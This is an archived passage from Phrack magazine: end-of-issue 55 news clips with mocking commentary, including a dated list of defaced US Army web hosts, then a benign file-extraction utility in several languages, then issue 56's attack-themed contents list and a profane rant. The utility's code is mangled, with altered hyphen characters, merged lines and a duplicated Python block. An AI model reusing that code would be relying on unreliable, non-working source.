4:00 p.m. 30.Aug.99.PDT http://www.wired.com/news/news/technology/story/21503.html

A previously unknown group known as Hackers Unite has claimed responsibility for publicizing Hotmail's security breach, which Microsoft vehemently denied was the result of a backdoor oversight.

The group of eight hackers said Monday through a spokesman that they announced the hole to the Swedish media to draw attention to what they say is Microsoft's spotty security reputation.

The stunt exposed every Hotmail email account, estimated to number as many as 50 million, to anyone with access to a Web browser.

[snip..]

Microsoft vehemently denied the backdoor suggestions, and instead described the problem as "an unknown security issue."

"There is nothing to these allegations [of a backdoor in Hotmail]," said MSN marketing director Rob Bennett. "It is not true. Microsoft values the security and privacy of our users above all."

[I think if you sub the "." in that last statement with the word "that", it is much more accurate.]

0x09>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Scientists crack Net security code

Aug. 27

http://www.msnbc.com/news/305553.asp

A group of scientists claimed Friday to have broken an international security code used to protect millions of daily Internet transactions, exposing a potentially serious security failure in electronic commerce. Researchers working for the National Research Institute for Mathematics and Computer Science (CWI) in Amsterdam said consumers and some businesses could fall victim to computer hackers if they get their hands on the right tools.However, not every computer whiz has access to the equipment, worth several million dollars, and no related Internet crimes have yet been uncovered, the experts said.

The scientists used a Cray 900‑16 supercomputer, 300 personal computers and specially designed number‑crunching software to break the RSA‑155 code the backbone of encryption codes designed to protect e‑mail messages and credit‑card transactions.

THE SCIENTISTS USED a Cray 900‑16 supercomputer, 300 personal computers and specially designed number‑crunching software to break the so‑called RSA‑155 code the backbone of encryption codes designed to protect e‑mail messages and credit‑card transactions.

Your everyday hacker wont be able to do this, said project director Herman te Reile. You have to have extensive capacity, the money, and the know‑how, but we did it.

[snip...]

0x0a>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

NSA Lures Hackers

27 August 1999 http://www.currents.net/clickit/printout/news/28074924000990080.html

There's a future in the National Security Agency for young techies and hackers, showing that maybe the Clinton administration is a little off‑base in its efforts to turn children away from the so‑called dark side of computer obsession.

According to a page on the NSA Website, last updated in December 1998, the agency is looking for a few good teen‑aged hacker‑types, promising them free college tuition, room and board if they come to work for the agency for at least five years upon college graduation.

The NSA program is not exactly restricted to the dean's list cream of the crop, however, requiring only a minimum SAT score of 1200 (or composite Act score of 27), a 3.0 grade point average or higher, "demonstration of leadership abilities" and US citizenship.

[snip...]

0x0b>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Army to offer 'information survival' training

MAY 5, 1999 http://www.fcw.com/pubs/fcw/1999/0503/web‑army‑5‑5‑99.html

The Army this fall plans to offer an online graduate‑level training course on information systems survivability, teaching engineers to develop systems capable of surviving any kind of technical glitch and network attack.

[Define 'irony'. The army training anyone about security. Lets have a quick look at some public validation for the army and security!

Date Web page defaced

‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑

99.01.25 wwwjtuav.redstone.army.mil 99.03.02 www.bweb.wes.army.mil

99.03.07 wrair‑www.army.mil

99.04.11 mdw‑www.army.mil

99.04.19 www‑anad.army.mil

99.05.01 www.rsc.stuttgart.army.mil 99.05.03 www.ett.redstone.army.mil

99.06.04 cenwo.nwo.usace.army.mil

99.06.24 www.monmouth.army.mil

99.06.27 www.army.mil

99.07.16 www.ado.army.mil

99.08.03 akamai.tamc.amedd.army.mil 99.08.29 www.cmtc.7atc.army.mil

Oh yes, sign me up please.]

0x0c>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Clinton To Use hackers Against Yugoslav leader http://www.attrition.org/errata/www/art.0109.html

President Clinton has approved a top‑secret plan to destabilize Yugoslav leader Slobodan Milosevic, using computer hackers to attack his foreign bank accounts and a sabotage campaign to erode his public support,

[Yes, sneaky me. The URL above is part of the Errata page. Why? Because several news outlets blindly reported this as the truth, when it is highly likely it is not. Sensationalism at its finest.]

0x0d>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hack attack knocks out FBI site

May 26, 1999 6:44 PM PT

A skirmish between the FBI and a well‑known hacker group seemingly erupted Wednesday.

Not long after federal agents served search warrants on members of hacker group Global Hell (gH), probably in connection with recent attacks on U.S. government computers, the FBI's own Web site was attacked and is currently offline.

Earlier on Wednesday, MSNBC was told by a member of gH that the FBI had served search warrants on several members of the hacker group. Last week, gH member Eric Burns (who also goes by the name Zyklon), was arrested in connection with three separate attacks on U.S. government computers, including systems at the U.S. Information Agency.

[Pay attention journalists. Dozens of you misread this to say the FBI web page was defaced. It clearly says they were victim of a Denial of Service attack.]

0x0e>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

White House threatens to punish hackers

June 1, 1999, 3:35 p.m. PT http://www.news.com/News/Item/0,4,37257,00.html

Annoyed by a recent wave of attacks against official U.S. government Web sites, the White House today warned hackers who target federal Web sites that they will be caught and punished.

"There's a government‑wide effort to make sure that our computer systems remain secure," White House Press Secretary Joe Lockhart said in a briefing. "For those who think that this is some sort of sport, I think [it will be] less fun when the authorities do catch up with them...and these people are prosecuted," he said.

[Busting the people that have already violated your security will not make you secure in the future. Talk about blind to the world.]

0x0f>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

MS Refutes Windows 'Spy Key'

10:20 a.m. 3.Sep.99.PDT http://www.wired.com/news/news/technology/story/21577.html

Microsoft is vehemently denying allegations by a leading cryptographer that its Windows platform contains a backdoor designed to give a US intelligence agency access to personal computers.

Andrew Fernandes, chief scientist for security software company Cryptonym in North Carolina, claimed on his Web site early Friday that the National Security Agency may have access to the core security of most major Windows operating systems.

"By adding the NSA's key, they have made it easier ‑‑ not easy, but easier ‑‑ for the NSA to install security components on your computer without your authorization or approval," Fernandes said.

But Microsoft denied that the NSA has anything to do with the key.

[Yeah. The NSA isn't bright enough to change the name of a 'backdoor' key from "_NSAKEY" to something a little less glaring.]

0x10>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Teens plead innocent in hacking case

09/02/99‑ Updated 01:34 PM ET http://www.usatoday.com/life/cyber/tech/ctg016.htm

JERUSALEM (AP) ‑ Four teen‑agers charged with hacking into the computer systems of the Pentagon, NASA and the Israeli parliament pleaded innocent Thursday, the lawyer for the alleged ringleader said. Shmuel Tzang said his client, Ehud Tenenbaum, 19, broke no law when he penetrated the Internet sites of American and Israeli institutions because there was no notice on the sites declaring them off‑limits.

[This is patently stupid. Because the systems didn't say "breaking in is illegal", they didn't break the law? This level of stupidity is indicative of the level they showed to get busted.]

Phrack Magazine Extraction Utility

‑‑‑‑‑‑‑[ Phrack Magazine ‑‑‑ Vol. 9 | Issue 55 ‑‑‑ 09.09.99 ‑‑‑ 19 of 19 ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Phrack Magzine Extraction Utility ]

‑‑‑‑‑‑‑‑[ Phrack Staff ]

New this issue: The C version has support for crc checks.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑‑‑‑‑‑CUT‑HERE‑‑‑‑‑‑‑‑‑‑‑>8‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

<++> P55/EX/PMEU/extract4.c !9d35b676

/*

* extract.c by Phrack Staff and sirsyko

*

* Copyright (c) 1997 ‑ 1999 Phrack Magazine

*

* All rights reserved.

*

* Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met:

* 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. *

* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE.

*

*

* extract.c

* Extracts textfiles from a specially tagged flatfile into a hierarchical * directory structure. Use to extract source code from any of the articles * in Phrack Magazine (first appeared in Phrack 50).

*

* Extraction tags are of the form:

*

* host:~> cat testfile

* irrelevant file contents

* <++> path_and_filename1 !CRC32

* file contents

* <‑‑>

* irrelevant file contents

* <++> path_and_filename2 !CRC32

* file contents

* <‑‑>

* irrelevant file contents

* <++> path_and_filenamen !CRC32

* file contents

* <‑‑>

* irrelevant file contents

* EOF

*

* The `!CRC` is optional. The filename is not. To generate crc32 values * for your files, simply give them a dummy value initially. The program * will attempt to verify the crc and fail, dumping the expected crc value. * Use that one. i.e.:

*

* host:~> cat testfile

* this text is ignored by the program

* <++> testarooni !12345678

* text to extract into a file named testarooni

* as is this text

* <‑‑>

*

* host:~> ./extract testfile

* Opened testfile

* ‑ Extracting testarooni

* crc32 failed (12345678 != 4a298f18)

* Extracted 1 file(s).

*

* You would use `4a298f18` as your crc value.

*

* Compilation:

* gcc ‑o extract extract.c

*

* ./extract file1 file2 ... filen

*/

#include <stdio.h>

#include <stdlib.h>

#include <sys/stat.h>

#include <sys/types.h>

#include <string.h>

#include <dirent.h>

#include <fcntl.h>

#include <unistd.h>

#include <errno.h>

#define BEGIN_TAG "<++> "

#define END_TAG "<‑‑>"

#define BT_SIZE strlen(BEGIN_TAG)

#define ET_SIZE strlen(END_TAG)

struct f_name

{

u_char name[256];

struct f_name *next;

};

unsigned long crcTable[256];

void crcgen()

{

unsigned long crc, poly;

int i, j;

poly = 0xEDB88320L;

for (i = 0; i < 256; i++)

{

crc = i;

for (j = 8; j > 0; j‑‑)

{

if (crc & 1)

{

crc = (crc >> 1) ^ poly;

}

else

{

crc >>= 1;

}

}

crcTable[i] = crc;

}

}

unsigned long check_crc(FILE *fp)

{

register unsigned long crc;

int c;

crc = 0xFFFFFFFF;

while( (c = getc(fp)) != EOF )

{

crc = ((crc >> 8) & 0x00FFFFFF) ^ crcTable[(crc ^ c) & 0xFF]; }

if (fseek(fp, 0, SEEK_SET) == ‑1)

{

perror("fseek");

exit(EXIT_FAILURE);

}

return (crc ^ 0xFFFFFFFF);

}

int

main(int argc, char **argv)

{

u_char b[256], *bp, *fn;

int i, j = 0, h_c = 0;

unsigned long crc = 0, crc_f = 0;

FILE *in_p, *out_p = NULL;

struct f_name *fn_p = NULL, *head = NULL, *tmp = NULL; char *name;

if (argc < 2)

{

printf("Usage: %s file1 file2 ... filen\n", argv[0]); exit(0);

}

/*

* Fill the f_name list with all the files on the commandline (ignoring * argv[0] which is this executable). This includes globs. */

for (i = 1; (fn = argv[i++]); )

{

if (!head)

{

if (!(head = (struct f_name *)malloc(sizeof(struct f_name)))) {

perror("malloc"); exit(EXIT_FAILURE);

}

strncpy(head‑>name, fn, sizeof(head‑>name)); head‑>next = NULL;

fn_p = head;

}

else

{

if (!(fn_p‑>next = (struct f_name *)malloc(sizeof(struct f_name)))) {

perror("malloc"); exit(EXIT_FAILURE);

}

fn_p = fn_p‑>next;

strncpy(fn_p‑>name, fn, sizeof(fn_p‑>name)); fn_p‑>next = NULL;

}

}

/*

* Sentry node.

*/

if (!(fn_p‑>next = (struct f_name *)malloc(sizeof(struct f_name)))) {

perror("malloc");

exit(EXIT_FAILURE);

}

fn_p = fn_p‑>next;

fn_p‑>next = NULL;

/*

* Check each file in the f_name list for extraction tags. */

for (fn_p = head; fn_p‑>next; )

{

if (!strcmp(fn_p‑>name, "‑"))

{

in_p = stdin;

name = "stdin";

}

else if (!(in_p = fopen(fn_p‑>name, "r")))

{

fprintf(stderr, "Could not open input file %s.\n", fn_p‑>name); continue;

}

else

{

name = fn_p‑>name;

}

fprintf(stderr, "Scanning %s...\n", fn_p‑>name);

crcgen();

while (fgets(b, 256, in_p))

{

if (!strncmp(b, BEGIN_TAG, BT_SIZE))

{

b[strlen(b) ‑ 1] = 0; /* Now we have a string. */

j++;

crc = 0;

crc_f = 0;

if ((bp = strchr(b + BT_SIZE + 1, '/'))) {

while (bp)

{

*bp = 0;

if (mkdir(b + BT_SIZE, 0700) == ‑1 && errno != EEXIST) { perror("mkdir"); exit(EXIT_FAILURE); }

*bp = '/';

bp = strchr(bp + 1, '/');

}

}

if ((bp = strchr(b, '!')))

{

crc_f =

strtoul((b + (strlen(b) ‑ strlen(bp)) + 1), NULL, 16); b[strlen(b) ‑ strlen(bp) ‑ 1 ] = 0; h_c = 1;

}

else

{

h_c = 0;

}

if ((out_p = fopen(b + BT_SIZE, "wb+"))) {

printf(". Extracting %s\n", b + BT_SIZE); }

else

{

printf(". Could not extract anything from '%s'.\n", b + BT_SIZE);

continue;

}

}

else if (!strncmp (b, END_TAG, ET_SIZE))

{

if (out_p)

{

if (h_c == 1)

{

if (fseek(out_p, 0l, 0) == ‑1) { perror("fseek"); exit(EXIT_FAILURE); }

crc = check_crc(out_p); if (crc == crc_f) {

printf(". CRC32 verified (%08lx)\n", crc); }

else

{

printf(". CRC32 failed (%08lx != %08lx)\n",

crc_f, crc);

}

}

fclose(out_p);

}

else

{

fprintf(stderr, ". `%s` had bad tags.\n", fn_p‑>name); continue;

}

}

else if (out_p)

{

fputs(b, out_p);

}

}

if (in_p != stdin)

{

fclose(in_p);

}

tmp = fn_p;

fn_p = fn_p‑>next;

free(tmp);

}

if (!j)

{

printf("No extraction tags found in list.\n");

}

else

{

printf("Extracted %d file(s).\n", j);

}

return (0);

}

/* EOF */

<‑‑>

<++> P55/EX/PMEU/extract.pl !1a19d427

# Daos <daos@nym.alias.net>

#!/bin/sh ‑‑ # ‑*‑ perl ‑*‑ ‑n

eval 'exec perl $0 ‑S ${1+"$@"}' if 0;

$opening=0;

if (/^\<\+\+\>/) {$curfile = substr($_ , 5); $opening=1;};

if (/^\<\‑\‑\>/) {close ct_ex; $opened=0;};

if ($opening) {

chop $curfile;

$sex_dir= substr( $curfile, 0, ((rindex($curfile,'/'))) ) if ($curfile =~ m/\//);

eval {mkdir $sex_dir, "0777";}; open(ct_ex,">$curfile");

print "Attempting extraction of $curfile\n"; $opened=1;

}

if ($opened && !$opening) {print ct_ex $_};

<‑‑>

<++> P55/EX/PMEU/extract.awk !26522c51

#!/usr/bin/awk ‑f

#

# Yet Another Extraction Script

# ‑ <sirsyko>

#

/^\<\+\+\>/ {

ind = 1

File = $2

split ($2, dirs, "/")

Dir="."

while ( dirs[ind+1] ) { Dir=Dir"/"dirs[ind]

system ("mkdir " Dir" 2>/dev/null") ++ind

}

next

}

/^\<\‑\‑\>/ {

File = ""

next

}

File { print >> File }

<‑‑>

<++> P55/EX/PMEU/extract.sh !a81a2320

#!/bin/sh

# exctract.sh : Written 9/2/1997 for the Phrack Staff by <sirsyko> #

# note, this file will create all directories relative to the current directory # originally a bug, I've now upgraded it to a feature since I dont want to deal # with the leading / (besides, you dont want hackers giving you full pathnames # anyway, now do you :)

# Hopefully this will demonstrate another useful aspect of IFS other than # haxoring rewt

#

# Usage: ./extract.sh <filename>

cat $* | (

Working=1

while [ $Working ];

do

OLDIFS1="$IFS"

IFS=

if read Line; then

IFS="$OLDIFS1"

set ‑‑ $Line

case "$1" in

"<++>") OLDIFS2="$IFS" IFS=/

set ‑‑ $2 IFS="$OLDIFS2" while [ $# ‑gt 1 ]; do

File=${File:‑"."}/$1

if [ ! ‑d $File ]; then

echo "Making dir $File"

mkdir $File

fi

shift

done

File=${File:‑"."}/$1 echo "Storing data in $File" ;;

"<‑‑>") if [ "x$File" != "x" ]; then

unset File

fi ;;

*) if [ "x$File" != "x" ]; then

IFS=

echo "$Line" >> $File

IFS="$OLDIFS1"

fi

;;

esac

IFS="$OLDIFS1"

else

echo "End of file"

unset Working

fi

done

)

<‑‑>

<++> P55/EX/PMEU/extract.py !83f65f60

#! /bin/env python

# extract.py Timmy 2tone <_spoon_@usa.net>

import sys, string, getopt, os

class Datasink:

"""Looks like a file, but doesn't do anything."""

def write(self, data): pass

def close(self): pass

def extract(input, verbose = 1):

"""Read a file from input until we find the end token."""

if type(input) == type('string'):

fname = input

try: input = open(fname)

except IOError, (errno, why):

print "Can't open %s: %s" % (fname, why) return errno

else:

fname = '<file descriptor %d>' % input.fileno()

inside_embedded_file = 0

linecount = 0

line = input.readline()

while line:

if not inside_embedded_file and line[:4] == '<++>':

inside_embedded_file = 1

linecount = 0

filename = string.strip(line[4:])

if mkdirs_if_any(filename) != 0:

pass

try: output = open(filename, 'w')

except IOError, (errno, why):

print "Can't open %s: %s; skipping file" % (filename, why) output = Datasink()

continue

if verbose:

print 'Extracting embedded file %s from %s...' % (filename,

fname),

elif inside_embedded_file and line[:4] == '<‑‑>': output.close()

inside_embedded_file = 0

if verbose and not isinstance(output, Datasink): print '[%d lines]' % linecount

elif inside_embedded_file:

output.write(line)

# Else keep looking for a start token.

line = input.readline()

linecount = linecount + 1

def mkdirs_if_any(filename, verbose = 1):

"""Check for existance of /'s in filename, and make directories."""

path, file = os.path.split(filename)

if not path: return

errno = 0

start = os.getcwd()

components = string.split(path, os.sep)

for dir in components:

if not os.path.exists(dir):

try:

os.mkdir(dir)

if verbose: print 'Created directory', path

except os.error, (errno, why):

print "Can't make directory %s: %s" % (dir, why) break

try: os.chdir(dir)

except os.error, (errno, why):

print "Can't cd to directory %s: %s" % (dir, why) break

os.chdir(start)

return errno

def usage():

"""Blah."""

die('Usage: extract.py [‑V] filename [filename...]')

def main():

try: optlist, args = getopt.getopt(sys.argv[1:], 'V') except getopt.error, why: usage()

if len(args) <= 0: usage()

if ('‑V', '') in optlist: verbose = 0

else: verbose = 1

for filename in args:

if verbose: print 'Opening source file', filename + '...' extract(filename, verbose)

def db(filename = 'P51‑11'):

"""Run this script in the python debugger."""

import pdb

sys.argv[1:] = ['‑v', filename]

pdb.run('extract.main()')

def die(msg, errcode = 1):

print msg

sys.exit(errcode)

if __name__ == '__main__':

try: main()

except KeyboardInterrupt: pass

except getopt.error, why: usage()

if len(args) <= 0: usage()

if ('‑V', '') in optlist: verbose = 0

else: verbose = 1

for filename in args:

if verbose: print 'Opening source file', filename + '...' extract(filename, verbose)

def db(filename = 'P51‑11'):

"""Run this script in the python debugger."""

import pdb

sys.argv[1:] = [filename]

pdb.run('extract.main()')

def die(msg, errcode = 1):

print msg

sys.exit(errcode)

if __name__ == '__main__':

try: main()

except KeyboardInterrupt: pass # No messy traceback. <‑‑>

<++> P55/EX/PMEU/extract‑win.c !e519375d

/***************************************

/* WinExtract

/*

/* Written by Fotonik <fotonik@game‑master.com>. */

/*

/* Coding of WinExtract started on 22aug98. */

/*

/* This version (1.0) was last modified on 22aug98. */

/*

/* This is a Win32 program to extract text files from a specially tagged */

/* flat file into a hierarchical directory structure. Use to extract */

/* source code from articles in Phrack Magazine. The latest version of */

/* this program (both source and executable codes) can be found on my */

/* website: http://www.altern.com/fotonik */

/***************************************

#include <stdio.h>

#include <string.h>

#include <windows.h>

void PowerCreateDirectory(char *DirectoryName);

int WINAPI WinMain(HINSTANCE hThisInst, HINSTANCE hPrevInst, LPSTR lpszArgs, int nWinMode)

{

OPENFILENAME OpenFile; /* Structure for Open common dialog box */

char InFileName[256]="";

char OutFileName[256];

char Title[]="WinExtract ‑ Choose a file to extract files from."; FILE *InFile;

FILE *OutFile;

char Line[256];

char DirName[256];

int FileExtracted=0; /* Flag used to determine if at least one file was */

int i; /* extracted */

ZeroMemory(&OpenFile, sizeof(OPENFILENAME)); OpenFile.lStructSize=sizeof(OPENFILENAME); OpenFile.hwndOwner=HWND_DESKTOP;

OpenFile.hInstance=hThisInst;

OpenFile.lpstrFile=InFileName; OpenFile.nMaxFile=sizeof(InFileName)‑1;

OpenFile.lpstrTitle=Title;

OpenFile.Flags=OFN_FILEMUSTEXIST | OFN_HIDEREADONLY;

if(GetOpenFileName(&OpenFile))

{

if((InFile=fopen(InFileName,"r"))==NULL)

{

MessageBox(NULL,"Could not open file.",NULL,MB_OK); return 0;

}

/* If we got here, InFile is opened. */

while(fgets(Line,256,InFile))

{

if(!strncmp(Line,"<++> ",5)) /* If line begins with "<++> " */

{

Line[strlen(Line)‑1]='\0'; strcpy(OutFileName,Line+5);

/* Check if a dir has to be created and create one if necessary */

for(i=strlen(OutFileName)‑1;i>=0;i‑‑)

{ if((OutFileName[i]=='\\')||(OutFileName[i]=='/')) {

strncpy(DirName,OutFileName,i); DirName[i]='\0'; PowerCreateDirectory(DirName); break;

}

}

if((OutFile=fopen(OutFileName,"w"))==NULL)

{

MessageBox(NULL,"Could not create file.",NULL,MB_OK); fclose(InFile);

return 0;

}

/* If we got here, OutFile can be written to */

while(fgets(Line,256,InFile))

{

if(strncmp(Line,"<‑‑>",4)) /* If line doesn't begin w/ "<‑‑>" */

{

fputs(Line, OutFile);

}

else

{

break;

}

}

fclose(OutFile);

FileExtracted=1;

}

}

fclose(InFile);

if(FileExtracted)

{

MessageBox(NULL,"Extraction sucessful.","WinExtract",MB_OK); }

else

{

MessageBox(NULL,"Nothing to extract.","Warning",MB_OK); }

}

return 1;

}

/* PowerCreateDirectory is a function that creates directories that are */

/* down more than one yet unexisting directory levels. (e.g. c:\1\2\3) */

void PowerCreateDirectory(char *DirectoryName)

{

int i;

int DirNameLength=strlen(DirectoryName);

char DirToBeCreated[256];

for(i=1;i<DirNameLength;i++) /* i starts at 1, because we never need to */

{ /* create '/' */

if((DirectoryName[i]=='\\')||(DirectoryName[i]=='/')|| (i==DirNameLength‑1))

{

strncpy(DirToBeCreated,DirectoryName,i+1); DirToBeCreated[i+1]='\0'; CreateDirectory(DirToBeCreated,NULL);

}

}

}

<‑‑>

56

- Introduction by Phrack Staff

- Phrack Loopback by Phrack Staff

- Phrack Line Noise by various

- Phrack Prophile by Phrack Staff

- Bypassing StackGuard and StackShield by Kil3r & Bulba

- Project Area52 by Irib & Simple Nomad & Jitsu-Disk

- Shared Library Redirection via ELF PLT Infection by Silvio

- Smashing C++ VPTRs by rix

- Backdooring binary objects by klog

- Things To Do in Cisco Land When You're Dead by gaius

- A Strict Anomaly Detection Model for IDS by beetle & sasha

- Distributed Tools by lifeline & sasha

- Introduction to PAM by Bryan Ericson

- Exploiting Non-adjacent Memory Spaces by twitch

- Writing MIPS/Irix shellcode by scut

- Phrack Magazine Extraction Utility by Phrack Staff

Introduction

+‑‑‑=0x5b 0x72 0x65 0x67 0x69 0x73 0x74 0x65 0x72 0x65 0x64 0x20 0x20 0x68=‑‑‑+

| a_ _y 88888888 ad8888ba, |

| MM MM[ 88 8P' "Y8 | | __ __ M _, __ __ ____ __ _ B[___ 88 ‑‑‑‑ d8 | | 0Mm0M0_ MMMM_ #MmMMm 0MM0y _MMMMF #[MMM 88a8PPPP8b, 88,dd888bb, | | MP ~~0 Mf "M BM' Y ~ BF BP ~MF #_#F PP" `8b 88P' `8b | | 0 M M M 4f m000F M ~' #MM d8 88 d8 | | #y _M M M #l 4M ]F M_ _ #MMk Y8a a8P 88a a8P | | 0MmmMf yMg mMs m0mmm 4& M0r R0mmmP mMf~Mmr "Y88888P" "Y88888P" |

| M~"" """ "*` 9MMP^ PM"~P' ~M"~ "^ "^'

| M

| M

| MMM#

+‑‑‑=0x65 0x78 0x20 0x20 0x6f 0x66 0x66 0x65 0x6e 0x64 0x65 0x72 0x7a 0x5b=‑‑‑+

Volume 0xa Issue 0x38

05.01.2000

0x01[0x10]

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ I N T R O D U C T I O N ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ J'envoie la sauce! b00m! ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

In much of the same SPECTACULAR fashion you've come to expect, here iz your 56th god damned issue of Phrack mutherfuckin' Magazine. Late? Nono. Late would imply that there exists a publishing schedule of some sort. We now know this really isn't the case. So, in actuality, this issue may in fact be early. We have our best people looking into it...

<SOAPBOX‑THAT‑HAS‑NOTHING‑TO‑DO‑WITH‑COMPUTERS‑OR‑SECURITY‑OR‑HACKING>

Riotz and protestz and retardz, OH MY!

JESUS CHRIST PEOPLE. This whole Elian Gonzalez debacle can just goto hell. And of course I mean that figuratively speaking. I'm not so callous or jaded as to wish harm on an innocent child, but I speak for a significant majority of people when I say:

"Enough is e‑fucking‑nough".

Since November of 1999, the U.S. Government has entangled itself in an embroiled political, social and economic mess that just needs to END.

Ok, here's the whole story in a nutshell. Around Thanksgiving of last year, this fisherman finds a kid floating in an innertube a few miles from Pompano Beach, FL. The fisherman does what any God‑fearing Samaritan would do: he pulls the kid out of the water and takes him to the hospital. So the saga began...

And here's how it should end:

Elian should go back to Cuba with his biological father. Sure, Cuba sucks, but this is a six‑year‑old child whose father wants him to come home. Since when is it the US Government's job to act as social services for a sovereign Communist Country family? Oh, by the way, this has cost the U.S. Taxpayer more than $580,000 so far. And it's not over.

Anyhow...

As it happens, apparently Elian has some (distant) relatives in the US who managed to sneak out of Cuba. Congratulations. Good for them. So somehow, these people seem to think they have a stake in all this. Wonderful. Kids come running for the great taste of fifteen minutes of fame!

Ok. And what about these relatives? Well, they're nutz, for one. Second of all, they're hardly "close" relativez. What, that one nutty chick is his second cousin? Does that even count? Great‑uncles, and their brothers aside, a boy's FATHER is his FATHER. Crikey. If this was *my* kid, I'd be like: "Ok, junior, get in the fucking car, we're going home".

Do any of these superfluous people realize what they're doing? Nevermind the fact that this little boy is probably going to be scarred in some horribly repressed fashion, and all the money this is costing... Wait no.. Actually that's pretty much the crux of the issue. Well, my issue with it. I'm just sick of it. Gawd.

And what the hell is up with all the rioters? Thuggish lowbrows seen on CNN yelling "FUCK THIS COUNTRY" (after the INS snatch). Hey guess what retard? If you don't like, go the fuck back to Cuba. Like you even know what you're upset about. You just wanted an excuse to break shit and burn things (which they did do).

AND FOR THE LOVE OF GOD, WHAT ABOUT THE FISHERMAN? WHAT STAKE COULD HE POSSIBLY STILL HAVE IN ALL THIS? Keep stretching those 15 minutez there buddy! I must say though, the open weeping on national television was very nice. "The Sensitive Fisherman". Rite. GET BACK OUT THERE AND CATCH ME SOME DOLPHIN‑SAFE TUNA.

Oh, and did I mention that someone named "Jesus Lizarazo" registered eliangonzalez.com? Who the crap hell iz that?

Stop the insanity.

</SOAPBOX>

Oh, by the by, there'z obviously been an overall format change. Nothing too major but I got real bored with the old one. I think the racing stripez add a nice touch. Oh, and I hope you like Hex. Coz I shure do. Sorry. No Phrack World News this time around. But how many of you guyz actually read it anyway?

*shrug*

Enjoy.

|‑In Fucking Charge Guy ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑route‑|

|‑Associate Editor ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑kamee‑|

|‑Vhost Trooper ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑felix‑|

|‑Phrack World Newz ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑NULL>‑|

|‑ASCII art from 1989 and Caucasian MixMaster Kid ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ swern‑|

|‑F*cking N*tz ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑silvio‑|

|‑Elite ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑nihil‑|

|‑Unbearably Bearish ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑NASDAQ‑|

|‑Microsoft / 2 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑Two huge monopolies‑|

